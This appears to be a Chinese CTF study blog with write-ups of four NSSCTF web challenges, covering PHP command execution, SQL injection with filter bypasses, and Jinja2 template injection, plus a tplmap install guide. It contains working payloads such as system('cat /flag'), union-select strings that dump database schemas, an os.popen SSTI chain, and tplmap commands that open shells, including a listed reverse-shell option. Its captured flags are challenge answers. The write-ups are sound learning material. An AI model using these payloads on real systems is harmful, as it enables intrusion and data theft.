刷题学习记录

[LitCTF 2023]PHP是世界上最好的语言!!

知识点:rce+PHP

进入环境是一个转化框和运行框

 既然是rce还有运行框就只用输入命令等待回显就行

参考:RCE(命令执行)总结-CSDN博客

 paylaod:

system(‘ls’);
system(‘pwd’);
system(‘find / -name flag*’);
system(‘cat /flag’);

得到flag

笔记

RCE总结:RCE总结-CSDN博客

rce

常用代码执行函数

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()

常用命令执行函数

system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()

参考:RCE-命令执行总结_rce命令执行-CSDN博客

 [SWPUCTF 2022 新生赛]numgame

知识点:PHP+代码审计+查看源代码方式+数组引索

进入环境,有一个等式但是一直到不了20

 用F12和Ctrl+U也不能查看到源代码,没有反应

那么就用view-source:http://node5.anna.nssctf.cn:28805/

发现

./js/1.js

点击访问,得到

 解码花括号里的内容得到

 接着访问改文件名NsScTf.php,得到真正的源码

 接着尝试访问hint2.php

代码审计:

  1. 通过 include("flag.php") 引入了一个名为 “flag.php” 的文件。这个文件很有可能包含了标志信息。
  2. 通过 class nss 定义了一个名为 “nss” 的类,其中具有一个静态方法 “ctf”,这个方法通过 include("./hint2.php") 引入了另一个名为 “hint2.php” 的文件。这个类的作用目前不明确,但可以猜测 “ctf” 方法可能会与 “hint2.php” 文件相关。
  3. 通过 isset($_GET['p']) 判断是否接收到了名为 “p” 的 GET 参数。如果存在 “p” 参数,则会根据参数值调用相应的函数。
  4. 在调用函数之前,通过 preg_match() 函数检查参数值中是否包含字符 “n” 或 “c”。如果包含了这些字符,则会输出 “no” 并停止程序执行。
  5. 最后,如果未接收到 “p” 参数,则会输出当前文件的源代码。
  6. 源码提示:与get相似的另一种请求协议是什么呢,既然用跟get相似的协议所以这里就运用post。

 补充:

数组引索

数组索引是用于标识和访问数组元素的唯一标识符。它们通常是整数值,用于标识元素在数组中的位置。

在大多数编程语言中,数组的索引从 0 开始,依次递增。例如,对于一个长度为 n 的数组,索引范围通常是从 0 到 n-1,共有 n 个元素可以访问。

下面是一个示例数组及其索引示意图:

数组:[12, 34, 56, 78, 90]
索引: 0 1 2 3 4

在示例中,数组包含五个元素,使用索引可以访问和操作这些元素。例如,要访问数组中的第二个元素(34),我们使用索引 1(因为索引是从 0 开始计数)。同样,要访问数组中的第四个元素(78),我们使用索引 3。

 payload:

p[0]=nss&p[1]=ctf

 改成nss2

payload:

p[0]=nss2&p[1]=ctf

 但是没有出现flag,最后看了源码,flag是藏在源码中

[SWPUCTF 2022 新生赛]ez_sql

知识点:sql注入

进入环境,提示用post传参

尝试一下get,不能用那么就用post

 简单传一个1,没想到是flag,但是是假的

 开始进行sql注入,查库查表查字段爆数据

但是

发现or和空格都无回显,union也没有

空格可以用/**/来代替,union可以双写绕过

 开始注入

nss=2'/**/ununionion/**/select/**/1,2,3;#

 查库:

nss=2'/**/ununionion/**/select/**/1,database(),3;#

查表:

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#

查字段:

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#

 查数据:

nss=2'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#  

得到flag

NSSCTF{636b87ae-6445-4824-8598-7c264e9a6728}

[HNCTF 2022 WEEK2]ez_SSTI

知识点:SSTI

进入环境

检测ssti注入,很多ssti的参数都是name

?name={{7*7}}

 

 没有过滤

找flag

payload:

?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

拿flag

?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

 但是这题用fenjing却跑不出来

虽然fenjing不能用,但是tplmap可以用,要先安装好tplmap

直接连接注入,成功后查看文件,再打开flag

python2 ./tplmap.py -u 'http://node5.anna.nssctf.cn:28389/?name=/' --os-shell

 

得到flag

NSSCTF{61f84712-a0c6-4335-b9a2-476bc0e629d6}

笔记

tplmap的安装

kali 下安装tplmap

1. 安装kali下的python2的pip工具

kali2020版及以上, 输入python2命令会执行python2, python3也存在。

但pip默认是pip3, 而我们需要的是pip2, 所以我们需要先安装pip2

# 进入家目录
cd 

#建立目录ins-pip2
mkdir ins-pip2

#下载pip2安装脚本
wget  https://bootstrap.pypa.io/pip/2.6/get-pip.py

#python2执行 需要sudo权限
sudo python2 get-pip.py

#升级pip2
sudo pip2 install --upgrade pip 

#安装pip2扩展工具,不然后面安装还是报错
sudo pip2 install --upgrade setuptools 

## 2 tplmap的安装和使用

tpl是用python2编写的,报错一般是使用py3

以下操作均在kali 2020的环境下操作

2.1 使用git克隆tplmap

git clone https://github.com/epinna/tplmap

cd tplmap

sudo pip2 install -r requirements.txt

2.2 操作实例

#探测注入点
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag'


#获取shell
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell

2.3 详细命令


--os-shell                          Run shell on the target
--os-cmd                            Execute shell commands
--bind-shell PORT                   Connect to a shell bind to a target port
--reverse-shell HOST PORT   Send a shell back to the attacker's port
--upload LOCAL REMOTE       Upload files to the server
--download REMOTE LOCAL     Download remote files

 使用

python2 ./tplmap.py -u 'http://node5.anna.nssctf.cn:28389/?name=/' --os-shell
//name是参数,具体题目中指定的传入参数
//--os-shell 是命令,具体看各个命令的用法

常见问题

在安装好工具使用的时候,常常会出现

[!][tplmap] Exiting: 'bool' object has no attribute 'replace'

解决办法:删除tplmap/core/checks.py文件中Twig条目,保存退出。

Twig就在此列表中:
plugins = [
    Smarty,
    Mako,
    Python,
    Tornado,
    Jinja2,
    Freemarker,
    Velocity,
    Slim,
    Erb,
    Pug,
    Nunjucks,
    Dot,
    Dust,
    Marko,
    Javascript,
    Php,
    Ruby,
    Ejs
]

 注意打开更改文件内容的时候要以root的身份打开,不然权限不够不可以成功更改,将Twig删除后就可以成功运行tplmqp

如果出现

[!][checks] Tested parameters appear to be not injectable.

[!][checks] Tested parameters appear to be not injectable.

就使用其他命令注入,但是参数后面的"="一定不能少,少了"="依旧会报错。

[GDOUCTF 2023]<ez_ze>

知识点:SSTI

进入环境

 先用tplmap跑一遍,但是不知道参数是什么,先用name跑

python2 ./tplmap.py -u 'http://node5.anna.nssctf.cn:28944/?name=' --os-shell

结果该参数无法注入

 尝试用fenjing跑一遍

python -m fenjing scan --url http://node5.anna.nssctf.cn:28944/

这次跑成功了

 ls /

查看文件

 cat /flag

查看flag

 得到flag

NSSCTF{159a9656-a3f2-4ed2-97e3-276a8d4ead88}

fenjing与tplmap的区别

焚靖(fenjing)是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口。 

tplmap 工具支持检测和利用多种模板引擎的注入漏洞,包括但不限于以下常见模板引擎:

  1. Jinja2:Jinja2 是一个流行的Python模板引擎,常用于构建Web应用程序。tplmap 可以检测和利用 Jinja2 模板注入漏洞。

  2. Django:Django 是一个使用 Python 编写的高级 Web 框架,tplmap 可以检测和利用 Django 模板注入漏洞。

  3. Mako:Mako 是一个用于 Python 的模板引擎,常用于构建动态内容。tplmap 可以检测和利用 Mako 模板注入漏洞。

  4. Tornado:Tornado 是一个可扩展的 Python Web 框架,tplmap 可以检测和利用 Tornado 模板注入漏洞。

  5. Freemarker:Freemarker 是一个使用 Java 编写的模板引擎,tplmap 可以检测和利用 Freemarker 模板注入漏洞。

  6. Velocity:Velocity 是一个用于 Java 的模板引擎框架,tplmap 可以检测和利用 Velocity 模板注入漏洞。

  7. Smarty:Smarty 是一个用于 PHP 的模板引擎,tplmap 可以检测和利用 Smarty 模板注入漏洞。

  8. AngularJS:AngularJS 是一个流行的 JavaScript 框架,tplmap 可以通过利用 AngularJS 的模板注入漏洞来执行任意代码。

  9. Handlebars:Handlebars 是一个 JavaScript 的语义化模板引擎,tplmap 可以检测和利用 Handlebars 模板注入漏洞。

  10. ERB:ERB(Embedded RuBy)是一个用于 Ruby 的嵌入式模板引擎,tplmap 可以检测和利用 ERB 模板注入漏洞。

  11. ASP.NET Razor:ASP.NET Razor 是一个用于 ASP.NET 的页面模板引擎,tplmap 可以检测和利用 ASP.NET Razor 模板注入漏洞。

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值